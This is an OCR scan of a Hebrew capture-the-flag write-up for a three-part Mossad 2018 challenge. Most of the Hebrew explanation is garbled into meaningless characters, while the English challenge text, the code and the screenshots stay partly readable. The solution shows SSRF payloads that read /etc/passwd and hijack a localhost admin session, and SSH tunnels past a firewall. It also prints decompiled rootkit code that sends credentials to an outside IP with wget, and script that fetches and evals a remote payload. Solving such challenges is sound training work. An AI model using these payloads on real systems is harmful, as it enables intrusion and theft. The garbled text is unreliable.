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12N ,NIT P'Myn? N7nNnw NKY Brainfuck 'wop 2 Dy’ Tomn 7w 1170 T wn D NIk N1
NN 7 qI7W7 10700 .NIMNNN VORLVN NIX X'NINT N7 TY'Y [IN'D KOO M7 D713 NNIXY

.0Oj7V0 "7 DNIX DANY? *TO2 OCR-2 WNNWN? TXI 0"VAPN 077NN

NYUnNnnun 1 095" pPon Nt

from PIL import Image
import sys

UNIQUE COLOR

def (pixels) :
new pixels = []

for pixel in pixels:
if list(pixel) == UNIQUE COLOR:
new pixels.append((0, 0, 0))
else:
new pixels.append( (255, 255,

return new pixels
(image) :
new = Image.new('RGB', image.size)

pixels = extract unique (image.getdata())
new.putdata (pixels)

return new

():

if len(sys.argv) < 2:
print .format (sys.argv[0])
return

in image = Image.open(sys.argv[1l])
out = sys.argv[2]

converted = convert image (in_ image)
converted.save (out)

name == ' main

main ()
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N7 VYN NIXD INIX X'XIN XN oW Brainfuck-n X Y707 1D Xan "NXa nwnnwun
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-N 7Y IRNUN TYNN NIRYINN DX D727 TR NRYIY DNAT W 2T (I N1 XTI 1I'WY DN NRY
NTAIYN NITY2 DA NXRT NIK? N1 "xor-with-key" 21Mvon 7w qon% nooTn 1172y Brainfuck

LN V9RO NN X7 WK (NODTN? NN Brainfuck-aw) "7knwn V9RO NITI PY'Y

-0 NIX 17917 12 MNXA) [ND'TN NAINNA X J0N7 N09TN X 11727 X7 Brainfuck-n 7w ';m'n T¥nn

(NMT? XA ITN NOWNW 21M1'0N NN 7Y NN'WIA DXYA IXL]ND'TA NAMNA NI9XY? N1 Brainfuck

:D'NAN D'NAN DX NIKY N1

00000: 122 070 092 083 085 O0B9 003 090 065 003 006 001 zF\SUY.ZA...

NN ' 110 ,Brainfuck-n 7w ' T¥AN NNSAN DY NSy 1'%V Nn 1an’? Niro' 1oon INKY

.NNONN W NIRT DK DRINY "Israel-is-70" :Xan 2100N YNoIM ToINN 710 7w

XN NXRXINN NX I]'73'|7 X7 N9 xor NNY

ManxN DX 7'NNNY% [N NYOW nXM
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11w

Challenge #1

Welcome back Agent CI

Your help is needed once again to solve an urgent matter.

Our digital forensics division is trying to track the source of a phishing attack on one of
our government officials._

We have found an email which seems to be related to this attempt and poinis to a news
blog.

We require your skills to track the source of this sophisticated attack.

The following leads to the news blog.

Good luckl,
M|

2 AKNY NIYTN ANR D"?JFYJ 1IN NIWKRI7 ANX7 0'0101 1IN TWKD

Welcome to DRK™ news, The best news blog EVER! @

On the news

It looks like the damage caused by last
week’s severe storm continues to
cause problems. The main roads are
still blocked and the local sanitation
department is still working to clean the
pipes. This is the main road just
moments ago, 5 days after the storm!

add comment

WOW! this is amazing!!

I knew it would happen!. | warned them at the sanitation!!

Tech

Our 'tech’ analyst reports there is
evidence of - what seems to be - a new
cyber attack on News Blogs around the
WWW. The attack is reported to be led
by a hacker called "Anonymous’, and
targets mainly LINUX systems that are
vulnerable to the new ‘pass-through’
exploit reported earlier this year. Our
analyst examined our servers (DRK™
news main server is also a LINUX
server) and assured us we are not
vulnerable to attacks...
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:D2'"YN NIFNY 0'710'Y D'TIY 1901 1INXN 1NN 0'0IV'Y VYN NNX

¢ ROMAN NAMDY |D'N) TMYN N'MNNA 72'70 7V 0'¥N17 TWXD XYM Administration-n Ty e

(hmxn

Register-n TNI'N2 ,D''"yn 0'XNIY Register-nl Login-n 'Tiny e

N1Myn N'RNIY auth_stealer.js Xj71w V9"POT7 NWA W' o

178W X)) Burp-n NIwpan Tiv'Na authstealer_exploit.js-7 nwnan NXR XNAIT? NIKTT? TWON

TiZ X 0'DNY M 7w IP-0 NAIND NX A'WN7 12'2V1 72T 27T DA INIR Y nopnnn "nimry”

(Nt

28
27
26
25
24
23
22
21
20
16

http://35.206.32.11
http://35.205.32 11
http://35.206.32.11
http://35.2056.32.11
http://35.206.32.11
http://35.206.32.11
http://35.205.32 11
http://35.206.32.11
http://35.2056.32.11
http://35.206.32.11

GET /static/shoe_jpg

GET /static/athlete_png
GET /static/flood . jpg

GET /static/user.png

GET /static/drk_logo1.png
GET /static/hacker_|pg
GET fauthstealer_exploit.js
GET /static/style css

GET /static/jguery js

GET /main

2'91M90 NAINN NX PTIAY TN ["IVnN NTY U'Y NX1) DIYN Tinya

Please enter your registration information below:

First name

Last name

User name

Password

Profile pic URL m

SUBMIT!
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vy

<script type=
function getProfilePic ()

{

var url regex

url = $(
if (url != )
{
if (!url regex.test (url))
{
alert ( + url);
return;
}
S.getJSON ( , { u: btoa(url) }, showProfilePng)
}
}
function showProfilePng (json)
{
if (json && in json)
{
S ( ) [0] .src = + json.png;
}

(json && in json && json.err != && Json.err !'=
&& Jjson.err !'= )

{
alert (json.err);
}
}
</script>

war ANk (Client Side-a ny¥ann n713 X'Nw) Regex-n 7 Nj7*Tan NX 11121 NTNA D NIKNT7 N1
7V ,unnwnd ,pn ANXY7 .0"10N json 1'TNN7I N7'aWa NIMNN DX JIvn? NIn 7Y TAY NaImdY

Jjson-2 Ny PNG nTwinl /profilePics/ :2'M17 Nwa7 ¥ ,n1mn'? nwa? nin

TIX 1172V 021 js-n NITYA K71 DT APTan DR DN7Y) Wy 75 DIYNY7 QWOX DX NIKYT 1'%
INNAYN NN 07270 11NIRY 1'R1(Client Side N 1an

not a valid png url

err: "Url is not a .png file!"
png: war
session: "Cookie saved: False"

o OO Inspector Console [ Debugger  {} StyleEditor (@ Performa

W % Filter output
» location = "testProfilePng?u=" + btoa("http://www.hacker.com")
& "testProfilePng?u=aHRBcDovL3d3dySoYWNrIXIuY29t™

'X X0 - 2018 ToInn 7w o1fan ManX |INNDS
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1NN qioa ".png"-n N72an 7V 1aann? 1'%y L0y akwn? NRx? nwiza? nnma? nn Yy
N2 PR IYPENY PTIA 0 XX PNG Yaljpa "aIme T2 1k X7 Dwn D antn g nninn

NN NPT 1'wy Path-n 7y X971 1wEn 7Y waTa Lt nnirro

are: war

png:

SESS10M: “"Cookie saved: False"

@ {7 Inspector Console [ Debugger  {} StyleEditor (5 Performance o |

T F Filter output
¥» location = “"testProfilePng?u=" + btoa("http://www.hacker.com#.png")
& "testProfilePng?u=aHR@cDovl3d3dySoYWNrZXIuY29t Iy Subme="

v nwixmn NN © loxny nivpa 19'R Niwyy? [N nydi PNG-n 7w np'Tan nX 111y ™R 7p

JS'SSRE" :X17 nn %

NT 7wn%) myy TiNy? 7ann DX P71 ,07'2Wd Awpan DR KRNI DWNY XN SSRF-1 (1IN
Tiny7? Tw' wi7a oxkw NN ocalhost-n yaan nwpanw nip'tTa 12y o'nt nnax (127.0.0.1
|w'n 401 NX 172y TV IR DT DR NIWY7 1'01 .localhost nwaa D NINS NNt Administration

minnhal

Uri JNIX T2 X7 MwN IR Scheme-n 7y DA D'07IW NNIXY NINY7 DD R7W XD I'0"N

9TOTN T DN'™7X NY'AL 0'M"I0N D'ANYA NNTAN7 0119719 T T 0ON Schemes

YMon X7n nwa D1 wnnwunt 17 MYONN IT NNd0 .expect K17 '0719'T X7 Scheme v

RXINN DX 17271 NI7W7 12'01 .system-1 NIN'W' DT YNIn'? NI0171, "expect”

err: "Invalid scheme: expect"
png: o
session: "Cookie saved: False™

e L7 Inspector Console [ Debugger {1} StyleEditer (& Perform

W 7 Filter output
#» location = "testProfilePng?u=" + btoal"expect://whoami#.png")
© "testProfilePng?u=ZxXhwZWN@0i8vdZhvYWlpIySwbmc="

.Scheme-n 7y D'0V7IY NNIRY IW'R 1727 X ,expect 'R DINIX
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Mile://" ;0 1027 Xan 2T

err: "Gccess Denied.”
png o
session: "Cookie saved: False"

@ L7 Inspector Console [ Debugger {} StyleEditor (@ Performancy

W % Filter output
#» location = "testProfilePngiu=" + btoa("file:///etc/passwd#.png")
& "testProfilePng?u=ZmlsZTovLly31ldGMvcGFzc3dkIySwhme=""

X passwd 72V Access Denied 1172'p Dinix 17010 7y 027 nwa? onYoxn IRW AR 1nan
N'2N7 N'NNKAN 27N, NINT YNAT IN7¥NW NINKR .PO'TNN D'Y¥AR XNP7 nwa 117 Y'Y AR NINSY
7w D'yapn o7 'MWA L9 TV 11N .AYIY KIN NN NIRYZENI017 T Mwn YW TIpn DX
N1 T2y PR AT, /var/www/login.php" :yalzn nX X'an'? 11'0n "/var/www"-2 nrawrr web-n naw

XD 121N X NIXYY

"admin™);

session 72" nwpan X' ,admin ' user_name Y0NI9NI 127.0.0.1-n WAl DRY NIXT? TWON

ANKY? NN97 1XYW AT DA KIN ,ADMIN 7w SIDN DX 72w AT RID NYRAN XY (100 . 'MTR Y

.administration-7 |pn
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.administration-n TIMY7 N1197 10X'W N1 D2 KIN 271 SID-N DX 722'w DT XD DWW npna

...profilePics 1T - TIXN VIYD ?NIWNN NX 72771 'R

NINTTNY? DMWY DN2Y7 nan 7y SSRF-n 71X

err: raear
png:
session: "Cookie saved: True"
@ LI Inspector Conscle [ Debugger {} StyleEditor (& Pedformance  k Memory = Metw

T S Filter output
»» location = "testProfilePng?u=" + btoa("http://127.8.8.1/login.php?user_name=admin#.png")
& "testProfilePng?u=aHR@cDovizEyNydwl JAuMS3sb2dpbiSwaHA  dXN1c]19uYWl1PWF kbWluIySwbme="

2NN TmyY nw'a

err: n2ean
png: "administration”
session: "Cookie saved: Trus"

e L1 Inspector Console [ Debugger  {} StyleEditer (& Performance  # Memon

W 7 Filter output
¥ location = "testProfilePng?u=" + btoa("http://127.8.8.1/administration#.png")
& "testProfilePng?u=aHR@cDovLzEyNydwl JAUMSOhZGlpbmlzdHI hdGlvbiMucGEn™

0790 N1l
uertame | g Tmohdiod | Conman ot

athlete 212789 a%ggflg That was funny ;)

theR@InM@n 199.53.1.29 Al WOW!I this is amazingll

04/08/14

1whoknows 198.4 76.3 ;I)gggf%]i IS::ﬁgdi(t”:ﬂ:!ouId happenl. | warmned them at the
CalvinK 213.17.82.1 ggfggf?; It's so last year

onmous 1z 13114 ST vl s o stplse s 2032
DEP-ricate 112.15.82 16 g;ﬁg;g 48614861486121
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© Imrrn RN 7 IP-0 DK IR¥NY NRTD

Success!

Well Donel

You have successfully finished your 1st mission.

This is your success token:

bUtgSUZKbDVOQWZCTkInTkin Yk9tdVVWYWpOclJobVdkSUNTMmAwSDBCJONGTOR
ydi9oNONvODdXZFdIZ0d2RGYidjhIVkSriWDREWngyRGRDM1FRTFESPQ—

You may now send your token and contact info to the following

You can also collect and submit additional tokens by completing more challenges.

Take the Next Challenge

212w

Challenge #2

Well done Agentl

Thanks to your efforts, our team has managed to locate and detain one of the hackers
responsible.
She was not cooperative, but we were able to extract a snippet of an application from

her phone. We suspect it is used for gathering intelligence from their victims.
Your next mission is to locate the files the team stole following their successtul phishing
attack.

We executed the parts we extracted in a sandbox and managed to capture its initial
communication with a c&c server. The following contains the captured data.

Needless to say, the information that was stolen is very valuable to us, so please do your
best to retneve it before it leaks.

Good luckl,
M.

INY7D MY 7m 'Y 19100 7Y YaIA 7' NNn wn Q7N DR TR
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‘D'2'2yn DNAT NND NIRYY 7211 oW1 Wireshark-2 yaizn Nk Nno)

INYn N 0'73apn 5555 V1192 "35.204.90.89" :nTn IP-n X DaANNNW TCP Sessions 2 Dlw' e

NN11 91027 .0'N 128 7w INW7) Hex NNWN 7R DN'TNNA DN WNK7I Hex-2 0'in 32 11> XMy

JINWNY AT WK 073N D

4bad54feaada3fbbd7aacl3b748fc@4l
9232d6bcee8ata37ba2sefd79c@5c3b2dcdBcbfeaoade74e73a9790f23cbff33af492ad8a79b562132129472d96T48201eTe88947113e2T@bce3c519d980dIes
5.2508.159.25 Temporarily Authorized.

DYI user WYNNYNnN DY DNANNN 12 2121 v119a "35.204.90.89" nwn 7n FTP 7w Session W' e

112345 :xno'on

228 pyftpdlib 1.5.3 ready.
USER user
331 Username ok, send password.
PASS 12345
238 Login successful.
SYST
215 UNIX Type: L8
FEAT
211-Features supported:

EPRT

EPSV

MDTM

MFMT

MLST type*;perm*;size*;modify*;unique®;unix.mode;unix.uid;unix.gid;
REST STREAM

SIZE

TVFS

UTF8

211 End FEAT.
OPTS MLST type;perm;size;modify;unique;unix.mode;
288 MLST OPTS type;perm;size;modify;uniquesunix.mode;
OPTS UTFE& ON

581 Invalid argument.

PWD

257 /" is the current directory.
TYPE A

288 Type set to: ASCII.

PASW

227 Entering passive mode (35,204,90,89,254,167).
MLSD

125 Data connection already open. Transfer starting.
226 Transfer complete.
QUIT

221 Goodbye.

JIUNRIN 0D D'-Session W TIY DIY' e

'1mr7 YN D"?JPYJ 1INIX N2 5555 VDN 7 AITIMN N'X7'UININN DX D'VYXAN TYUKROY 1DNIN

7NNl NNIXR 12NN FTP-n 7¥ M1N0NY RN NN NIRT NIYWYY 1'0'1 ©WKRD D LFTP-7 ninannn?

JN'Y NI

hex-NW 1Man NAwNn N¥p NNX .0 VIS D'NYIY DMATA NIFAN7 09710 NN 2wN? 1N7NNN

NXIN AT D'N71IWW 1vonl 100,000-7 10,000 |2 W90n 7w MD5 X0 Mwnn Y78 N7wIY

(17w TNt IR 9722 SHA512-2 12 D NINT? N1) TR TIVE 190NN INIK 7w SHA512

11
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JARTI NID 12N I

MD5-1 'aITiN 190N N7ajp e

190NN NKX KI¥NY? "D MD5-N NNy e
190n7 Q'oIN? e

MY NATh NPT SHAS12 1y niwy? e

XAN VO9"PON NKX 11AND D 7ava

import socket
import hashlib

def ()
s = socket.socket ()
s.connect (('35.204.90.89', 5555))
a = s.recv(1024) .strip()
for i in xrange (10000, 100000) :
if hashlib.md5 (str (i)) .hexdigest ()

== a
s.send (hashlib.sha512 (str(i + 1)) .hexdigest ()
print 'found'
break

recv (1024)

2V D'¥270 MDY N'RNA D .07 77D NI 1M TN 172121 FTP-n Mwh nwna 172y nxva D

FTP-n nw
backup 18/02/2018 170737 el
bin 18/02/2018 17:07:37 el
data 18/02/2018 17:07:37 el
docs 18/02/2018 17:07:37 el
sys 18/02/2018 170737 el
temp 18/02/2018 17:07:37 el
tmp 18/02/2018 17:07:37 el
USErs 18/02/2018 17:07:37 el
var 18/02/2018 17:07:37 el

:D'NAN DTN DX RN TIAWY? NN AW D NY9RPIZ 0Y¥aApn 7D R DTN
D'29XIN X D2"IYyN NIFXIADIIR XA [IAN [N 07N backup nvp'n e
X o0 WWKX hint Yaipn NX ,passphrase oy [9¥m RSA nnon n7'on "/users/backup” n'ip'nin e

noxin floppyfw K7W Inwn 7w nirvaiaroip oy W | Latest NRO7IW N'7' NI passphrase-n

']:)'7 IINIXR YNW' NNONAY O'NIV NN D ,NNONN NMTV] D'XAP7N NX nayoY? AT MmN YN 11'01
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.N910NN 7V 11ONNOoN VIYS 7771 NTh MWD NN NPT X7 Dyo OQRY 112N OVIN DYaAInY NX

:D'X2N D'0YI9N DX 11'7'a1 NMAP NAtva 17w 0'01I19 10

Starting Nmap 7.12 ( https nmap.org ) at 2018-04-21 15:04 Jerusalem Daylight Time
mass_dns: v ing: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns
Nmap scan report for 35.204.90.89
s up (0.082s latency).
shown: 64996 filtered ports, 536 closed ports

STATE SERVICE
22/tcp open ssh
2121/tcp open ccproxy-ftp
5555/tcp open freeciv

Nmap done: 1 IP address (1 host up) scanned in 230.99 seconds

NN output-n NN 172'7 N I'7R 12NNNY7 1'07 ,1I'7Y 11AwN K7W NINS SSH 019 W' X L [*yn
D'MANNN DX ,NN9AN NIX RXA NP 19¥RY (1N "backup” wnnwnn oy mMannny |'x7 vY)

:(NTH output-n NX D72 X7 D'INX D'YNNYN DY

SHELL-n 21 bin n'7'M% false owa X1 NI7yn7 N'7¥n? N1 NIYY? 1XYW DAwNY nn nTn 2A7v2
floppyfw.enc-n NX NINDY7 |I'011 D'YNNWNAN IXRY DY NPN'YI AT NN AT 7V DAY .oNp' X7 n7Y
DY W'Y 12'7'2 DIXNOI ,NDD NI7Yn7 21N sftp DY "annNn? N1017 1awN A7 N2N DX .AN'7xn K77

:DN'7R D'WA] NNIRY o'xap Ty

O[] & &\
Name Size (KB} Last modified Owner Group Access Size (Bytes)
.zsh 2018-03-11 1218 0 o drwxr-xr-x 4095
E conf_enc.pyc 1 2018-02-04 15:45 0 0 e [e [ 1802
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ANIN 17 TN Y2177 uncompyle n'wy

import base64

from Crypto.Cipher import AES
from Crypto import Random
import sys

import os

key = 'd3adb33£f13371337"'
BS = 16

pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS)
unpad = lambda s: s[:-ord(s[len(s) - 1:])]1

class

def (self, key):
self.key = key

(self, raw):
raw = pad(raw)
iv = Random.new () .read (AES.block size)
cipher = AES.new(self.key, AES.MODE CBC, 1iv)
return base64.b6dencode (iv + cipher.encrypt (raw))

() s

if len(sys.argv) != 2:
exit (1)

in file = sys.argv([1l]

if os.path.isfile(in file):
out file = in file + '.e
fin = file(in file, '
fout = file(out file,
cypher = AESCipher (key)
enc_data = cypher.encrypt (fin)
fout.write (enc_data)
fout.close ()

:D19XINN D'¥APN DX 11MWSI decrypt NWIVY 7700 DX TIR'7 119010

(self, enc):
enc = base64.bo6ddecode (enc)
iv = enc[:AES.block size]
cipher = AES.new(self.key, AES.MODE CBC, 1iv)
return unpad (cipher.decrypt (enc[AES.block size:])) .decode('utf-

(cisco.conf-I floppyfw.conf) NX¥NW enc-n '¥aj7 NIY NX NINDY7 1IN7¥N NT NNTYA

DN DN DY DP7NN

1 permit tcp any host 10.128.0. q 3389
1 permit tcp any host 10.128.0. q 8080
1 deny tcp any any

access-1list 2 permit tcp any host 10.164.0.3 eq -
access-1list 2 deny tcp any any

'X X0 - 2018 ToInn 7w o1fan ManX |INNDS
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27w DY N1annl , NIMTIR DYA DNANKD DY 17W NN2'WNDN NNNYEL,DMNIS 0-IP-2 "army 'R

'WYY NN LPY7 L IURIN ANk WEB-n nwY DNIvp DN 1awN ,0'TIEn D2A7wUnn 79N XN

:NINQN MIYN NNTYA 0'N90 0-IP-N 7R DTN 27w nR¥nw SSRF-n 0T nwa? nn

location= +btoa (

)

XN QTN X INIR 7N nn

Index of /

Name Last modified Size Description

ﬁ] stolen files/ 2018-02-19 07:25 -

N2 YN DR 17271 stolen_files-7 nwan jpn AnNY?

Name

Index of /stolen_files

Last modified Size Description

a Parent Directory

@ mossad 2018_challenge solution.doc 2018-02-19 09:03 662

72231 Yalzn NX W) niolol

Success!

Well Donel

You have successfully finished your 2nd missio
This is your success token:

n.

cIRGZFJ4VUpac1dCWVIMbVRXMG5pbzIVVFRGUO9WbUZsNzcvV1F0eGIVT3pMWIMz
b3Exd2ivUzZhNWdmNmIZVHhuQkUvOEXObBENCeTZ2RXdIRmMtRLOEIPQ==

You may now send your token and contact info

to the following

You can also collect and submit additional tokens by completing more challenges.

Take the Next Challenge

12 2%w nx 1o

'X X0M2 - 2018 ToInn 7w o1an Mank |INNoS
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,0'-session NI'Va NX1IN '722) "nothing here" nk'aw 1272'7 112N 72K ,1IN78N DRW AR ,NT 2702

.(MMTIP D1wa n7Xd DMAT 'K 12D

DNl ,0%7UN DR 1NNS 'R 7V 120N DY DI'ON 7'M 0NN IR 12119 NANKRD DK 1NY0 UKD
ANXNY 12'2N 0N ;0N NRXIND .AWUN 27WY7 [IWRIN 2700 2 YW DIN7 mx X7 pRY 17 NUR
NYN 277 2IY 1WA MANRD DR IN97 1010 TWRD LNIFTA INKT7 INIX NAOI NANKA '0M7 AN

D297 XIN N1l ,('unxn "X RIDNN 7R nn) qQon |NN'S ANKX YIdS'N2a

22 0N192 10.164.0.3-7 w21 NXND N7W NYNY 112N 17 W'Y DXIADAIEN '¥Ap 7V 1ayn NN
['Ixnw '9) 3389-1 8080 D'V 10.128.0.3-7 w1 nXMD firewall-n .firewall NN wnwn Xinwi

N IWN DI nm "Manxn nwn" ,[191 NIXAIA'ON PN NX 12N DRYI,N'XAIA'9]1 722

&=

10.128.0.3 10.164.0.3 35.204.90.89

:NTIRON NTYA FIREWALL? nwa? 1 i¥'nn nwn 2V Tunnel 117uon

@35.204.90.89 9000:10.164.0.3:22 -N

:SSH-n 7w pflag-n 7y 20N Nyp

112NDW '9) .SSH-1 1anNn ANX UKD shell-n NX yn 78,0170 ,"no tty" oxva XIn -N annn e
"/bin/false" yaizn 7w n¥NN DX QIpy7? AN KW 9921 X0 shell nxnn X7w naron ,0Tim

local_port:dest_ip:dest_port nxyvnvLYON INNKI Llocal port forward 7w Aann XN -Lannn e
.NaNN "IYNnY M7 SSH 7w man-2 XNp? N

:Firewall-7 D'w'a1 nNIRY NIXTT7 TWON NnXAl

'X X0 - 2018 ToInn 7w o1fan ManX |INNDS
www.DigitalWhisper.co.il
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1wn Tunnel-d IR 7'v9n7 15 XNO'ONI YNNWNAN NN 207 IRWA)

MY DN

username fwadmin password 7 107D1C09560521580F16693F14082026351C1512

.NN0'0N NN N2 X7 X fwadmin XIn wNNWNnW NIRY7 TWONR

|¥' 21200 (122102 N2ITAYW Janoni L "password 7" 0191l 170'0 W NINNO'O 7V 73122 nw9'n

IXD IMIX NIYO7 'R 7V 120N NI¥XNT? TWON ,W7NI

Type ¥ Password: |[107D1C09560521580F 16693F 14082026351C1512

Crack Password
Plain text: |Sup3r33cr#tP @ssword

DTIZAN D'V NNIR DX N72yNn 178 2NN 1'0 L I'7R w7 Wwon firewall-7 knoron NX 17 v ™

..MYON D' K7 112N XD DAY 11NIN DY ,"false"-n Dy

|27 .01 DIYWY NNIK N7'2m X7 1T 27195¢ 11'RY 0yon X SFTP-2 Nt NOw7? DA 1annnY 11'on

(...07YN7 M72IXY NIYIIADIAIENN 12'7'2 IS NX) ,ARAN NTIZON NITY 90N 7aRV NN

@127.0.0.1 9001:10.128.0.3:8080

NN VY IDNN DAY NIXIN INTA N'SI0oN NXXINYT 11yan oyon

Index of /stolen_files

Name Last modified Size Description

a Parent Directory -
@ mossad 2018 challenge solution doc 2018-02-19 09:03 662

©
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Technologic

32w

Challenge #3

Very good Agentl

Following your success in finding the hacking teams' internal storage system, our
intelligence ofificers have discovered what we believe to be a new and sophisticated
rootkit framework they have been developing.

We also managed to get a copy of a prototype utility that helps reveal their rootkit on
infected systems. You can get if from the following

We require your skills in invesgating it and reporting how the rootkit operates.

Thanks again for your effort, and Good Luckl,
M.

TAX "X KIN busybox ;00N K7W MY .0'019 T NP 172 busybox X1j7aw yalp D'7apn 1nax

.("D1 wget ,cat ,Is) Oj712'72 D12 DN 7Y 21 190N 1DINA TARNAN

N'VITIVO K7 NYTIN D721 INIX XN

Jamd XN NN IWXRIN 12T left you a hint at /tmp" Xin "aynn 77200

1s /tmp

AT T A N7 090

s: fuos: No such file or directo

Y7 11'01 ?uos-7 19N tmp Nn?

ls aaaaaaaaaaaaaaa

Hhyaly]l
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NN INS97 ' 1Y OPTI'RN WY qolnn In 757 N2 ,nnn Ta Mwn VMIARN .7 NN N2 NYd

RN IR DIDNNY NN XY 2'NAY CT 17W O TI'RN NIX N 701 Yon? oM ,nT

:N2N V9MIPON NN 11AND P NIXY

import string
import sys

def ()
line = sys.argv[1l]
converted = []

for index, char in enumerate(line) :
if char in string.lowercase:
converted.append(string.lowercase[ord(char) - ord('a') -
index])
else:
converted.append (char)

print ''.join (converted)

if name
main ()

W' DX NIX7Z1 RN 7V strings NIWYY 110700 ."yn yalp DIV DY ' K7 72X s /tmp n'wy
NNKRY K7W 0'¥ap 9'oin busybox-nw 111N [XdN DTN NION"NN 7y /tmp T7 |"ayn Inwn

)2 TIAY? 7901 AR KNI ROTN 7Y 117 oMty

admin --default-pass

:readme-n yaI7 X XNj77 NN ANAN NTIRO9N DX XN L, NIYYYT Y7V DD NN ANy XY

./busybox cat /skm/.lxsuct

NN NYTINN DX I]'71'|7 NINT 12X TWUND
Suspicious network activity detected...

USER

1 root
2 ofeks10
31 ofeksl10@

'X X0 - 2018 ToInn 7w o1fan ManX |INNDS
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DY 10D K7V INUN DY YN WK "Troj" X1j7aw 'RINI KINW DT'R XD W'Y NN, TIRND [1yn
MmN ,ntn (deleted)-n Nt Nn 7y ¥ wI9'Nn NNX L (deleted) 17w Dwn T Y'9ImI XNo'0l Wnnwn

M/proc” 7w man-2 XY Nn

/proc/[pid]/exe
Under Linux 2.2 and later, this file is a2 symbolic link con-
taining the actual pathname of the executed command. This
symbolic link can be dereferenced normally; attempting to open
it will open the executable. You can even type
JSproc/[pid]/exe to run another copy of the same executable
that is being run by process [pid]. If the pathname has been
unlinked, the symbolic link will contain the string
'(deleted)' appended to the original pathname. In a multi-
threaded process, the contents of this symbolic link are not
available if the main thread has already terminated (typically
by calling pthread exit(3)).

Permission to dereference or read (readlink(2)) this symbolic
link is governed by a ptrace access mode
PTRACE_MODE_READ_FSCREDS check; see ptrace(2).

[2'7 ,]N2'TAN INIK XNPY 7212 12 RN 7aN tmp NURIMA KN IR K¥ND X7 IXNDY AN [NON

XN NTIRON DX 1IXN

./busybox cat /oply/1337/tlr > Trej.elf

17w main-n NUXI0] IXRXNY NN NTI NYIY RINn NN NIXT7 "D IDA-2 "IN1'AN DX 1INND

memset{&user, B, @x188ull);
memset{&password, A, Bz188ulL};
default password = "UuwilLH3Iv3rG3ItH3*;
memset{&s, O, O=z480ulL);

option = getopt_long({argc, {(char =const =)argu, "ud”, &long_options_2838, &longind};
if { option == -1 }
break;
switch { option }
{
case ‘p':
if { _bss_start }
strncpy{&password, bss start, Bx188ull};
break;
case ‘'u’:
if { _bss_start }
strncpy{&user, _bss_start, Bz1808ull};
break;
case ‘'d':
strncpy{&password, default password, Bx188ull};
break;
default:
return 1;

sprintf{&s, "wget -0 /Jtmp/.store "http://%s/iso?user=%skpass=%s'", "35.285.32.11", &user, &password);
system{&s);

X'N XD A Y NT07I9TN KNO'ONI WNNWNN DY N7 u-Y 2n%? N NI7pa TINN

.Uw1ILN3v3rG3tM3

'X X0 - 2018 ToInn 7w o1fan ManX |INNDS
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INQN 2270 NIN 17 XYY 2290 DY

http://35.205.32.11/iso?user=admin&pass=Uw1ILN3v3rG3tM3

:D'N2N DNATA DX 7'o1 WK ISO yalp 1awNn? Tim Nt 71'77 0'0101 TWXD

1JPG 2JPG 4.;I‘;|G 5JPG 6.JPG 7JPG THUMBS.DB VAULT

sqlite3 Database -2 sqlite3 yal7> "Nann 010-2 1'2y NXP NIONoNNY Vault yalpn nNfMo WNKRY

:D'19¥IN D'VORO NWITWI index.html yalp ,0'¥ap 4 7'on XINW NINAY N1 viewer

Table: | =] Files - @ &
id name data enc_type key iv_size
|Filter Filter [Fiter [Fiter [Filter [Filter
1 IZI aes.js Usm/va3ngs/r... Blowfish-CBC  External 8
) 1 ........................................... - s o e .
32 key.js MNB6Kat8Z9310... Blowfish-CBC External 8
4 3 script.js n04ScjFpOgy... Blowfish-CBC External 8

NN 117 NNoNY DWW NMIMNN N9'R NIRTYZ N1017 12 thumbs.db viewer 117N 7'2702

B4 Thumbs Viewer — m} = D 256_4934f39705858f86 - — O *®

File Edit Tools Help

# Filename Entry Size Sector Index  Date Madified (UTC)
256_alfd34edb315ebeh 18 KB 4in SAT
256_663ad5764aBabida 15KB 47 in SAT

I o T T I

4 256_df-f{‘.l8a2c5d91 dd20 25KB 99 in SAT

5 256_3addcT3040fTe953 13 KB 131 in SAT

) 256_5e9e7045d262e675 10 KB 179 in SAT

T 236_afa%el3alch7eeld 10 KB 200 in SAT

< >

israel70* :x1n Blowfish-n 7w nNonn NX11DW 2N KON
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Technologic

:N2N VOON MV DY YW NIY'9] N7NNN

from base64 import b64decode
from Crypto.Cipher import Blowfish
import sys

with open(sys.argv[l], 'r') as encrypted file:
data = b64decode (encrypted file.read())

cipher = Blowfish.new('*israel70*', Blowfish.MODE CBC,
data[:Blowfish.block size])
open (sys.argv[l] + '.dec',
'wb') .write (cipher.decrypt (data[Blowfish.block size:]))

index.html-n yaIz NX 11NN '0TpNn% D2 0'WITIN D'Y¥ARN 770 IR 117 W'Y NRD) WD TR ,N7IVN

NN N'Yaa I]'7|7T\]I oMnd2a

ﬂ Elements Console Sources  Metwork
® | top ¥ | | Filter

»GET http:/f127.8.08.1:1337/key.Js @ ()

NNRAN NTIEON OV NP2 VIYS HTTP Nw 1I¥Nn

python -m SimpleHTTPServer 1337

:Nan Prompt-n NX IJ'71'|7 1"YDVI

127.0.0.1:1337 says

Enter the key please:

.. ANXA DTPNNYT D2 js-N MK NIY97 11'7V 1'WDYYW RN
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[27 eval 10T yam 12 yamn Tipn 7D 12T W 1910w 12'KD,script.js X1j7aw 090N 7V 1170N0N

:NNXINN NIN,NIR NN NIRTTI console.log-1 eval NX 9'7Nn% N0 'wyw nn

- - - o L - . : .

[ Gj Elements Conscle Sources Network Performance Memory Application  Security  Audits| : X

M ® | top ¥ | Filter Default levels ¥ & %%
ion loadScript(src,callback){var xhttp=new XMLHttpRequest();xhttp.onreadystatechange=function()

{if(this.readyState==4&8&this.status==288){eval(this.responseText);if(typeof(callback)!="undefined"'){
callback()}}}:;xhttp.open("GET",src,true) ;xhttp.send() }loadScript(“http: //127.9.9.1:1337 fkey.js")
;loadScript ("http 35.285 35 2.11/ch3/payload”, run);function

1 H I,

r decrypted=CryptolS.AES.decrypt

\\\\\

(payload,key);eval(decrypted.toString(CryptolS.enc.Utf8))}}}

INXI'W N N1 701 beautify n¥p MNX

function loadScript (src, callback) {
var xhttp = new XMLHttpRequest () ;
xhttp.onreadystatechange = function () {
if (this.readyState == 4 && this.status == 200) {
eval (this.responseText) ;
if (typeof (callback) != ) |
callback ()

bi

xhttp.open ( , src, true);

xhttp.send ()
}
loadScript (
loadScript (
loadScript (

function run () {
if (typeof (key) !=
if (typeof (payload) != ) |
var decrypted = CryptoJS.AES.decrypt (payload, key):;
eval (decrypted.toString (CryptodS.enc.Utf8))

NINAN NNIYWA 3-7 0T DR 11020 1INIX

var key =

var decrypted = CryptoJdS.AES.decrypt (payload, key):;
